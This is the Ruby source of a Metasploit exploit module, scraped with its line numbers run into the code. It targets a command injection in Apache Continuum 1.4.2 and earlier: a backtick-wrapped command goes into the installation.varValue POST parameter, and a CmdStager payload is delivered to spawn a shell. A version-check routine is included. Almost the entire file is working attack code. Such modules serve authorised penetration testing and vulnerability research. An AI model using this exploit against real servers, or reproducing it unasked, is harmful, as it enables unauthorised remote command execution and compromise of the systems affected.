Path: blob/master/modules/exploits/linux/http/apache_continuum_cmd_exec.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Apache Continuum Arbitrary Command Execution',16'Description' => %q{17This module exploits a command injection in Apache Continuum <= 1.4.2.18By injecting a command into the installation.varValue POST parameter to19/continuum/saveInstallation.action, a shell can be spawned.20},21'Author' => [22'David Shanahan', # Proof of concept23'wvu' # Metasploit module24],25'References' => [26%w{EDB 39886}27],28'DisclosureDate' => '2016-04-06',29'License' => MSF_LICENSE,30'Platform' => 'linux',31'Arch' => [ARCH_X86, ARCH_X64],32'Privileged' => false,33'Targets' => [34['Apache Continuum <= 1.4.2', {}]35],36'DefaultTarget' => 0,37'Notes' => {38'Reliability' => UNKNOWN_RELIABILITY,39'Stability' => UNKNOWN_STABILITY,40'SideEffects' => UNKNOWN_SIDE_EFFECTS41}42)43)4445register_options([46Opt::RPORT(8080)47])48end4950def check51res = send_request_cgi(52'method' => 'GET',53'uri' => '/continuum/about.action'54)5556if res && res.body.include?('1.4.2')57CheckCode::Appears58elsif res && res.code == 20059CheckCode::Detected60else61CheckCode::Safe62end63end6465def exploit66print_status('Injecting CmdStager payload...')67execute_cmdstager68end6970def execute_command(cmd, opts = {})71send_request_cgi(72'method' => 'POST',73'uri' => '/continuum/saveInstallation.action',74'vars_post' => {75'installation.name' => Rex::Text.rand_text_alpha(8),76'installation.type' => 'jdk',77'installation.varValue' => '`' + cmd + '`'78}79)80end81end828384